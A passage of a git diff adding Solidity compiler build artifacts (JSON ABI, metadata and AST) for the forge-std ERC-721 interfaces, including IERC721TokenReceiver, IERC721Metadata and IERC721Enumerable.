,"virtual":false,"visibility":"external"},{"id":32066,"nodeType":"FunctionDefinition","src":"4978:71:18","nodes":[],"documentation":{"id":32059,"nodeType":"StructuredDocumentation","src":"4591:382:18","text":"@notice Enable or disable approval for a third party (\"operator\") to manage\n all of `msg.sender`'s assets\n @dev Emits the ApprovalForAll event. The contract MUST allow\n multiple operators per owner.\n @param _operator Address to add to the set of authorized operators\n @param _approved True if the operator is approved, false to revoke approval"},"functionSelector":"a22cb465","implemented":false,"kind":"function","modifiers":[],"name":"setApprovalForAll","nameLocation":"4987:17:18","parameters":{"id":32064,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32061,"mutability":"mutable","name":"_operator","nameLocation":"5013:9:18","nodeType":"VariableDeclaration","scope":32066,"src":"5005:17:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32060,"name":"address","nodeType":"ElementaryTypeName","src":"5005:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32063,"mutability":"mutable","name":"_approved","nameLocation":"5029:9:18","nodeType":"VariableDeclaration","scope":32066,"src":"5024:14:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":32062,"name":"bool","nodeType":"ElementaryTypeName","src":"5024:4:18","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"5004:35:18"},"returnParameters":{"id":32065,"nodeType":"ParameterList","parameters":[],"src":"5048:0:18"},"scope":32085,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":32074,"nodeType":"FunctionDefinition","src":"5320:71:18","nodes":[],"documentation":{"id":32067,"nodeType":"StructuredDocumentation","src":"5055:260:18","text":"@notice Get the approved address for a single NFT\n @dev Throws if `_tokenId` is not a valid NFT.\n @param _tokenId The NFT to find the approved address for\n @return The approved address for this NFT, or the zero address if there is none"},"functionSelector":"081812fc","implemented":false,"kind":"function","modifiers":[],"name":"getApproved","nameLocation":"5329:11:18","parameters":{"id":32070,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32069,"mutability":"mutable","name":"_tokenId","nameLocation":"5349:8:18","nodeType":"VariableDeclaration","scope":32074,"src":"5341:16:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32068,"name":"uint256","nodeType":"ElementaryTypeName","src":"5341:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"5340:18:18"},"returnParameters":{"id":32073,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32072,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32074,"src":"5382:7:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32071,"name":"address","nodeType":"ElementaryTypeName","src":"5382:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"5381:9:18"},"scope":32085,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32084,"nodeType":"FunctionDefinition","src":"5692:90:18","nodes":[],"documentation":{"id":32075,"nodeType":"StructuredDocumentation","src":"5397:290:18","text":"@notice Query if an address is an authorized operator for another address\n @param _owner The address that owns the NFTs\n @param _operator The address that acts on behalf of the owner\n @return True if `_operator` is an approved operator for `_owner`, false otherwise"},"functionSelector":"e985e9c5","implemented":false,"kind":"function","modifiers":[],"name":"isApprovedForAll","nameLocation":"5701:16:18","parameters":{"id":32080,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32077,"mutability":"mutable","name":"_owner","nameLocation":"5726:6:18","nodeType":"VariableDeclaration","scope":32084,"src":"5718:14:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32076,"name":"address","nodeType":"ElementaryTypeName","src":"5718:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32079,"mutability":"mutable","name":"_operator","nameLocation":"5742:9:18","nodeType":"VariableDeclaration","scope":32084,"src":"5734:17:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32078,"name":"address","nodeType":"ElementaryTypeName","src":"5734:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"5717:35:18"},"returnParameters":{"id":32083,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32082,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32084,"src":"5776:4:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":32081,"name":"bool","nodeType":"ElementaryTypeName","src":"5776:4:18","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"5775:6:18"},"scope":32085,"stateMutability":"view","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[{"baseName":{"id":31974,"name":"IERC165","nameLocations":["270:7:18"],"nodeType":"IdentifierPath","referencedDeclaration":31873,"src":"270:7:18"},"id":31975,"nodeType":"InheritanceSpecifier","src":"270:7:18"}],"canonicalName":"IERC721","contractDependencies":[],"contractKind":"interface","documentation":{"id":31973,"nodeType":"StructuredDocumentation","src":"83:166:18","text":"@title ERC-721 Non-Fungible Token Standard\n @dev See https://eips.ethereum.org/EIPS/eip-721\n Note: the ERC-165 identifier for this interface is 0x80ac58cd."},"fullyImplemented":false,"linearizedBaseContracts":[32085,31873],"name":"IERC721","nameLocation":"259:7:18","scope":32154,"usedErrors":[],"usedEvents":[31984,31993,32002]},{"id":32101,"nodeType":"ContractDefinition","src":"5858:942:18","nodes":[{"id":32100,"nodeType":"FunctionDefinition","src":"6656:142:18","nodes":[],"documentation":{"id":32087,"nodeType":"StructuredDocumentation","src":"5895:756:18","text":"@notice Handle the receipt of an NFT\n @dev The ERC721 smart contract calls this function on the recipient\n after a `transfer`. This function MAY throw to revert and reject the\n transfer. Return of other than the magic value MUST result in the\n transaction being reverted.\n Note: the contract address is always the message sender.\n @param _operator The address which called `safeTransferFrom` function\n @param _from The address which previously owned the token\n @param _tokenId The NFT identifier which is being transferred\n @param _data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC721Received(address,address,uint256,bytes)\"))`\n unless throwing"},"functionSelector":"150b7a02","implemented":false,"kind":"function","modifiers":[],"name":"onERC721Received","nameLocation":"6665:16:18","parameters":{"id":32096,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32089,"mutability":"mutable","name":"_operator","nameLocation":"6690:9:18","nodeType":"VariableDeclaration","scope":32100,"src":"6682:17:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32088,"name":"address","nodeType":"ElementaryTypeName","src":"6682:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32091,"mutability":"mutable","name":"_from","nameLocation":"6709:5:18","nodeType":"VariableDeclaration","scope":32100,"src":"6701:13:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32090,"name":"address","nodeType":"ElementaryTypeName","src":"6701:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32093,"mutability":"mutable","name":"_tokenId","nameLocation":"6724:8:18","nodeType":"VariableDeclaration","scope":32100,"src":"6716:16:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32092,"name":"uint256","nodeType":"ElementaryTypeName","src":"6716:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":32095,"mutability":"mutable","name":"_data","nameLocation":"6749:5:18","nodeType":"VariableDeclaration","scope":32100,"src":"6734:20:18","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":32094,"name":"bytes","nodeType":"ElementaryTypeName","src":"6734:5:18","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"6681:74:18"},"returnParameters":{"id":32099,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32098,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32100,"src":"6790:6:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"typeName":{"id":32097,"name":"bytes4","nodeType":"ElementaryTypeName","src":"6790:6:18","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"visibility":"internal"}],"src":"6789:8:18"},"scope":32101,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"IERC721TokenReceiver","contractDependencies":[],"contractKind":"interface","documentation":{"id":32086,"nodeType":"StructuredDocumentation","src":"5786:72:18","text":"@dev Note: the ERC-165 identifier for this interface is 0x150b7a02."},"fullyImplemented":false,"linearizedBaseContracts":[32101],"name":"IERC721TokenReceiver","nameLocation":"5868:20:18","scope":32154,"usedErrors":[],"usedEvents":[]},{"id":32125,"nodeType":"ContractDefinition","src":"6997:659:18","nodes":[{"id":32110,"nodeType":"FunctionDefinition","src":"7117:60:18","nodes":[],"documentation":{"id":32105,"nodeType":"StructuredDocumentation","src":"7040:72:18","text":"@notice A descriptive name for a collection of NFTs in this contract"},"functionSelector":"06fdde03","implemented":false,"kind":"function","modifiers":[],"name":"name","nameLocation":"7126:4:18","parameters":{"id":32106,"nodeType":"ParameterList","parameters":[],"src":"7130:2:18"},"returnParameters":{"id":32109,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32108,"mutability":"mutable","name":"_name","nameLocation":"7170:5:18","nodeType":"VariableDeclaration","scope":32110,"src":"7156:19:18","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":32107,"name":"string","nodeType":"ElementaryTypeName","src":"7156:6:18","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"7155:21:18"},"scope":32125,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32116,"nodeType":"FunctionDefinition","src":"7245:64:18","nodes":[],"documentation":{"id":32111,"nodeType":"StructuredDocumentation","src":"7183:57:18","text":"@notice An abbreviated name for NFTs in this contract"},"functionSelector":"95d89b41","implemented":false,"kind":"function","modifiers":[],"name":"symbol","nameLocation":"7254:6:18","parameters":{"id":32112,"nodeType":"ParameterList","parameters":[],"src":"7260:2:18"},"returnParameters":{"id":32115,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32114,"mutability":"mutable","name":"_symbol","nameLocation":"7300:7:18","nodeType":"VariableDeclaration","scope":32116,"src":"7286:21:18","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":32113,"name":"string","nodeType":"ElementaryTypeName","src":"7286:6:18","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"7285:23:18"},"scope":32125,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32124,"nodeType":"FunctionDefinition","src":"7580:74:18","nodes":[],"documentation":{"id":32117,"nodeType":"StructuredDocumentation","src":"7315:260:18","text":"@notice A distinct Uniform Resource Identifier (URI) for a given asset.\n @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC\n 3986. The URI may point to a JSON file that conforms to the \"ERC721\n Metadata JSON Schema\"."},"functionSelector":"c87b56dd","implemented":false,"kind":"function","modifiers":[],"name":"tokenURI","nameLocation":"7589:8:18","parameters":{"id":32120,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32119,"mutability":"mutable","name":"_tokenId","nameLocation":"7606:8:18","nodeType":"VariableDeclaration","scope":32124,"src":"7598:16:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32118,"name":"uint256","nodeType":"ElementaryTypeName","src":"7598:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"7597:18:18"},"returnParameters":{"id":32123,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32122,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32124,"src":"7639:13:18","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":32121,"name":"string","nodeType":"ElementaryTypeName","src":"7639:6:18","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"7638:15:18"},"scope":32125,"stateMutability":"view","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[{"baseName":{"id":32103,"name":"IERC721","nameLocations":["7026:7:18"],"nodeType":"IdentifierPath","referencedDeclaration":32085,"src":"7026:7:18"},"id":32104,"nodeType":"InheritanceSpecifier","src":"7026:7:18"}],"canonicalName":"IERC721Metadata","contractDependencies":[],"contractKind":"interface","documentation":{"id":32102,"nodeType":"StructuredDocumentation","src":"6802:195:18","text":"@title ERC-721 Non-Fungible Token Standard, optional metadata extension\n @dev See https://eips.ethereum.org/EIPS/eip-721\n Note: the ERC-165 identifier for this interface is 0x5b5e139f."},"fullyImplemented":false,"linearizedBaseContracts":[32125,32085,31873],"name":"IERC721Metadata","nameLocation":"7007:15:18","scope":32154,"usedErrors":[],"usedEvents":[31984,31993,32002]},{"id":32153,"nodeType":"ContractDefinition","src":"7856:1169:18","nodes":[{"id":32134,"nodeType":"FunctionDefinition","src":"8114:55:18","nodes":[],"documentation":{"id":32129,"nodeType":"StructuredDocumentation","src":"7901:208:18","text":"@notice Count NFTs tracked by this contract\n @return A count of valid NFTs tracked by this contract, where each one of\n them has an assigned and queryable owner not equal to the zero address"},"functionSelector":"18160ddd","implemented":false,"kind":"function","modifiers":[],"name":"totalSupply","nameLocation":"8123:11:18","parameters":{"id":32130,"nodeType":"ParameterList","parameters":[],"src":"8134:2:18"},"returnParameters":{"id":32133,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32132,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32134,"src":"8160:7:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32131,"name":"uint256","nodeType":"ElementaryTypeName","src":"8160:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"8159:9:18"},"scope":32153,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32142,"nodeType":"FunctionDefinition","src":"8418:70:18","nodes":[],"documentation":{"id":32135,"nodeType":"StructuredDocumentation","src":"8175:238:18","text":"@notice Enumerate valid NFTs\n @dev Throws if `_index` >= `totalSupply()`.\n @param _index A counter less than `totalSupply()`\n @return The token identifier for the `_index`th NFT,\n (sort order not specified)"},"functionSelector":"4f6ccce7","implemented":false,"kind":"function","modifiers":[],"name":"tokenByIndex","nameLocation":"8427:12:18","parameters":{"id":32138,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32137,"mutability":"mutable","name":"_index","nameLocation":"8448:6:18","nodeType":"VariableDeclaration","scope":32142,"src":"8440:14:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32136,"name":"uint256","nodeType":"ElementaryTypeName","src":"8440:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"8439:16:18"},"returnParameters":{"id":32141,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32140,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32142,"src":"8479:7:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32139,"name":"uint256","nodeType":"ElementaryTypeName","src":"8479:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"8478:9:18"},"scope":32153,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32152,"nodeType":"FunctionDefinition","src":"8930:93:18","nodes":[],"documentation":{"id":32143,"nodeType":"StructuredDocumentation","src":"8494:431:18","text":"@notice Enumerate NFTs assigned to an owner\n @dev Throws if `_index` >= `balanceOf(_owner)` or if\n `_owner` is the zero address, representing invalid NFTs.\n @param _owner An address where we are interested in NFTs owned by them\n @param _index A counter less than `balanceOf(_owner)`\n @return The token identifier for the `_index`th NFT assigned to `_owner`,\n (sort order not specified)"},"functionSelector":"2f745c59","implemented":false,"kind":"function","modifiers":[],"name":"tokenOfOwnerByIndex","nameLocation":"8939:19:18","parameters":{"id":32148,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32145,"mutability":"mutable","name":"_owner","nameLocation":"8967:6:18","nodeType":"VariableDeclaration","scope":32152,"src":"8959:14:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32144,"name":"address","nodeType":"ElementaryTypeName","src":"8959:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32147,"mutability":"mutable","name":"_index","nameLocation":"8983:6:18","nodeType":"VariableDeclaration","scope":32152,"src":"8975:14:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32146,"name":"uint256","nodeType":"ElementaryTypeName","src":"8975:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"8958:32:18"},"returnParameters":{"id":32151,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32150,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32152,"src":"9014:7:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32149,"name":"uint256","nodeType":"ElementaryTypeName","src":"9014:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"9013:9:18"},"scope":32153,"stateMutability":"view","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[{"baseName":{"id":32127,"name":"IERC721","nameLocations":["7887:7:18"],"nodeType":"IdentifierPath","referencedDeclaration":32085,"src":"7887:7:18"},"id":32128,"nodeType":"InheritanceSpecifier","src":"7887:7:18"}],"canonicalName":"IERC721Enumerable","contractDependencies":[],"contractKind":"interface","documentation":{"id":32126,"nodeType":"StructuredDocumentation","src":"7658:198:18","text":"@title ERC-721 Non-Fungible Token Standard, optional enumeration extension\n @dev See https://eips.ethereum.org/EIPS/eip-721\n Note: the ERC-165 identifier for this interface is 0x780e9d63."},"fullyImplemented":false,"linearizedBaseContracts":[32153,32085,31873],"name":"IERC721Enumerable","nameLocation":"7866:17:18","scope":32154,"usedErrors":[],"usedEvents":[31984,31993,32002]}],"license":"MIT"},"id":18} \ No newline at end of file diff --git a/contracts/out/IERC721.sol/IERC721TokenReceiver.json b/contracts/out/IERC721.sol/IERC721TokenReceiver.json new file mode 100644 index 000000000..93f310887 --- /dev/null +++ b/contracts/out/IERC721.sol/IERC721TokenReceiver.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"onERC721Received","inputs":[{"name":"_operator","type":"address","internalType":"address"},{"name":"_from","type":"address","internalType":"address"},{"name":"_tokenId","type":"uint256","internalType":"uint256"},{"name":"_data","type":"bytes","internalType":"bytes"}],"outputs":[{"name":"","type":"bytes4","internalType":"bytes4"}],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"onERC721Received(address,address,uint256,bytes)":"150b7a02"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_operator\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_from\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"_tokenId\",\"type\":\"uint256\"},{\"internalType\":\"bytes\",\"name\":\"_data\",\"type\":\"bytes\"}],\"name\":\"onERC721Received\",\"outputs\":[{\"internalType\":\"bytes4\",\"name\":\"\",\"type\":\"bytes4\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"details\":\"Note: the ERC-165 identifier for this interface is 0x150b7a02.\",\"kind\":\"dev\",\"methods\":{\"onERC721Received(address,address,uint256,bytes)\":{\"details\":\"The ERC721 smart contract calls this function on the recipient after a `transfer`. This function MAY throw to revert and reject the transfer. Return of other than the magic value MUST result in the transaction being reverted. Note: the contract address is always the message sender.\",\"params\":{\"_data\":\"Additional data with no specified format\",\"_from\":\"The address which previously owned the token\",\"_operator\":\"The address which called `safeTransferFrom` function\",\"_tokenId\":\"The NFT identifier which is being transferred\"},\"returns\":{\"_0\":\"`bytes4(keccak256(\\\"onERC721Received(address,address,uint256,bytes)\\\"))` unless throwing\"}}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"onERC721Received(address,address,uint256,bytes)\":{\"notice\":\"Handle the receipt of an NFT\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/forge-std/src/interfaces/IERC721.sol\":\"IERC721TokenReceiver\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"_operator","type":"address"},{"internalType":"address","name":"_from","type":"address"},{"internalType":"uint256","name":"_tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"stateMutability":"nonpayable","type":"function","name":"onERC721Received","outputs":[{"internalType":"bytes4","name":"","type":"bytes4"}]}],"devdoc":{"kind":"dev","methods":{"onERC721Received(address,address,uint256,bytes)":{"details":"The ERC721 smart contract calls this function on the recipient after a `transfer`. This function MAY throw to revert and reject the transfer. Return of other than the magic value MUST result in the transaction being reverted. Note: the contract address is always the message sender.","params":{"_data":"Additional data with no specified format","_from":"The address which previously owned the token","_operator":"The address which called `safeTransferFrom` function","_tokenId":"The NFT identifier which is being transferred"},"returns":{"_0":"`bytes4(keccak256(\"onERC721Received(address,address,uint256,bytes)\"))` unless throwing"}}},"version":1},"userdoc":{"kind":"user","methods":{"onERC721Received(address,address,uint256,bytes)":{"notice":"Handle the receipt of an NFT"}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/forge-std/src/interfaces/IERC721.sol":"IERC721TokenReceiver"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/forge-std/src/interfaces/IERC721.sol","id":32154,"exportedSymbols":{"IERC165":[31873],"IERC721":[32085],"IERC721Enumerable":[32153],"IERC721Metadata":[32125],"IERC721TokenReceiver":[32101]},"nodeType":"SourceUnit","src":"32:8994:18","nodes":[{"id":31971,"nodeType":"PragmaDirective","src":"32:24:18","nodes":[],"literals":["solidity",">=","0.6",".2"]},{"id":31972,"nodeType":"ImportDirective","src":"58:23:18","nodes":[],"absolutePath":"lib/forge-std/src/interfaces/IERC165.sol","file":"./IERC165.sol","nameLocation":"-1:-1:-1","scope":32154,"sourceUnit":31874,"symbolAliases":[],"unitAlias":""},{"id":32085,"nodeType":"ContractDefinition","src":"249:5535:18","nodes":[{"id":31984,"nodeType":"EventDefinition","src":"673:85:18","nodes":[],"anonymous":false,"documentation":{"id":31976,"nodeType":"StructuredDocumentation","src":"284:384:18","text":"@dev This emits when ownership of any NFT changes by any mechanism.\n This event emits when NFTs are created (`from` == 0) and destroyed\n (`to` == 0). Exception: during contract creation, any number of NFTs\n may be created and assigned without emitting Transfer. At the time of\n any transfer, the approved address for that NFT (if any) is reset to none."},"eventSelector":"ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","name":"Transfer","nameLocation":"679:8:18","parameters":{"id":31983,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31978,"indexed":true,"mutability":"mutable","name":"_from","nameLocation":"704:5:18","nodeType":"VariableDeclaration","scope":31984,"src":"688:21:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31977,"name":"address","nodeType":"ElementaryTypeName","src":"688:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31980,"indexed":true,"mutability":"mutable","name":"_to","nameLocation":"727:3:18","nodeType":"VariableDeclaration","scope":31984,"src":"711:19:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31979,"name":"address","nodeType":"ElementaryTypeName","src":"711:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31982,"indexed":true,"mutability":"mutable","name":"_tokenId","nameLocation":"748:8:18","nodeType":"VariableDeclaration","scope":31984,"src":"732:24:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":31981,"name":"uint256","nodeType":"ElementaryTypeName","src":"732:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"687:70:18"}},{"id":31993,"nodeType":"EventDefinition","src":"1047:92:18","nodes":[],"anonymous":false,"documentation":{"id":31985,"nodeType":"StructuredDocumentation","src":"764:278:18","text":"@dev This emits when the approved address for an NFT is changed or\n reaffirmed. The zero address indicates there is no approved address.\n When a Transfer event emits, this also indicates that the approved\n address for that NFT (if any) is reset to 